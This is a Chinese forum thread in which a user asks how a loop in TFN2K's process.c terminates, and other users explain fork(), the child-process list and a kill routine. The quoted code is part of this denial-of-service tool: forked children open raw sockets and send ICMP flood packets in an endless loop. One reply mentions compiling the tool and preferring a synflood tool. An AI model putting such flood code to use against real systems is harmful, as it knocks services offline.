大家好,以下一段代码是从tfn2k的process.c中一个循环,于157行,注释是我自己加上的,我所不明白的是后面的该程序如何退出循环?
    另外,创建子进程和后面的代码有何关系?请熟悉linux编程并有网络安全基础的朋友解答一下。
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);/*本函数定义于ip.c的18行,解释IP*/
      p = fork ();/*创建子进程*/
      if (!p)
     {
    rawsock = socket(AF_INET, SOCK_RAW, RAW);/*rawsock为外部定义的变量,此处修改,相当于全局变量*/
     if (rawsock < 0)
      rawsock = socket (AF_INET, SOCK_RAW, ICMP);
      /*设置套接字的属性*/
       setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));/*IP_HDRINCL表在数据包中包含IP首部*/
      if (resolved == -1)/*解析IP失败*/
       exit (0);
     while (1)   /*此处为不断地发送ICMP攻击包*/
         icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
    }
     #ifdef ATTACKLOG
      {
     char tmpbuf[100];
    sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
     ,getpid (), i, p, parse);
     dbug (tmpbuf);
      }
     #endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }

解决方案 »

  1.   

    UPUP  帮你贴顶最上面去
      

  2.   

    while ((parse != NULL) && (i++ < CHLD_MAX)) parse == NULL,或者i >=CHLD_MAX就退出这个while循环。
      

  3.   

        while (1)  /*此处为不断地发送ICMP攻击包*/
            icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
        } 这里的while(1)是个死循环,要想退出加个break语句。
      

  4.   

    只要接收到tfn发来的停止命令,td会退出这个循环的,那个icmp(resolved, 0)只是填充一下icmp包的结构,然后发送出去,内部没有什么break之类的语句,但是我不明白这个看似乎死循环的循环是采用什么方式终止循环的?
      

  5.   

    while ((parse != NULL) && (i++ < CHLD_MAX)) parse == NULL,或者i >=CHLD_MAX就退出这个while循环。
    =============================
    这个循环内部并没有对i递增的操作呵!icmp函数也没有对i操作!
      

  6.   

        while (1)  /*此处为不断地发送ICMP攻击包*/ 
            icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/ 
        } 
    这里的while(1)是个死循环,要想退出加个break语句。
    ============================
    此处没有break语句,icmp函数内部也没有break操作,虽然看似死循环,但接收tfn的终止命令,此循环却可以停止。这就是我不明白之处。
      

  7.   


    这个循环是不退出的,上面复制了个进程,接收到tfn终止命令,应该是将子进程结束掉了
      

  8.   

    这个循环是不退出的,上面复制了个进程,接收到tfn终止命令,应该是将子进程结束掉了
    ========================================================
    上面什么地方复制了进程呢?一进入大循环,只是又创建个新进程而已吧?
      

  9.   

     p = fork ();/*创建子进程*/ 
      

  10.   

    这个循环是不退出的,上面复制了个进程,接收到tfn终止命令,应该是将子进程结束掉了 
    ======================================================== 
    上面什么地方复制了进程呢?一进入大循环,只是又创建个新进程而已吧? 
     
    p = fork ();/*创建子进程*/ 
    ============================================================
    此处创建新进程,不是复制进程呵。
      

  11.   

    p = fork ();/*创建子进程*/ 
    创建新进程,返回新进程的ID,p是int类型,p与旧进程的ID是不一样的,所以应该不存在复制进程的问题。
      

  12.   

    id肯定是不同的,不然系统如何管理进程。如果lz不相信我,可以自己看fork的帮助
    System Calls                                              fork(2)NAME
         fork, fork1 - create a new processSYNOPSIS
         #include <sys/types.h>
         #include <unistd.h>     pid_t fork(void);     pid_t fork1(void);DESCRIPTION
         The fork() and fork1() functions create a new  process.  The
         new  process (child process) is an exact copy of the calling
         process (parent process). The  child  process  inherits  the
         following attributes from the parent process:
      

  13.   


    为什么不可以终止进程?进程内exit或者父进程发信号都可以结束掉
      

  14.   

    这是这个工具软件的源代码,一个法国人编写的,可正常编译运行并正常使用。我只是想读懂它。我一直看不明白,看似死循环,它无需终止语句却又可以接受客户端命令,停止发送icmp数据包,即停止上述代码内部的while循环。
      

  15.   

    pid[i] = p; 这句就是维护一个进程列表,上面的while就是一个最大进程数的处理,进入循环后,立即生产一个子进程进行发送;接收我想应该是由其他线程或者进程来处理的。接收到消息处理后,结束相应的子进程。
      

  16.   

    pid[i] = p; 这句就是维护一个进程列表,上面的while就是一个最大进程数的处理,进入循环后,立即生产一个子进程进行发送;接收我想应该是由其他线程或者进程来处理的。接收到消息处理后,结束相应的子进程。
      

  17.   

    pid[i] = p; 这句就是维护一个进程列表,上面的while就是一个最大进程数的处理,进入循环后,立即生产一个子进程进行发送;接收我想应该是由其他线程或者进程来处理的。接收到消息处理后,结束相应的子进程。
      

  18.   


      受到你这一番话启发,我看了其他代码,果然有一must_kill_all()函数根据所接收命令,杀死进程列表pid[]中的所有进程。终于解决,谢谢!
      

  19.   

    这个软件好象不能用,我编辑成功后用不成,不如单机版的synflood好用,不知道为什么!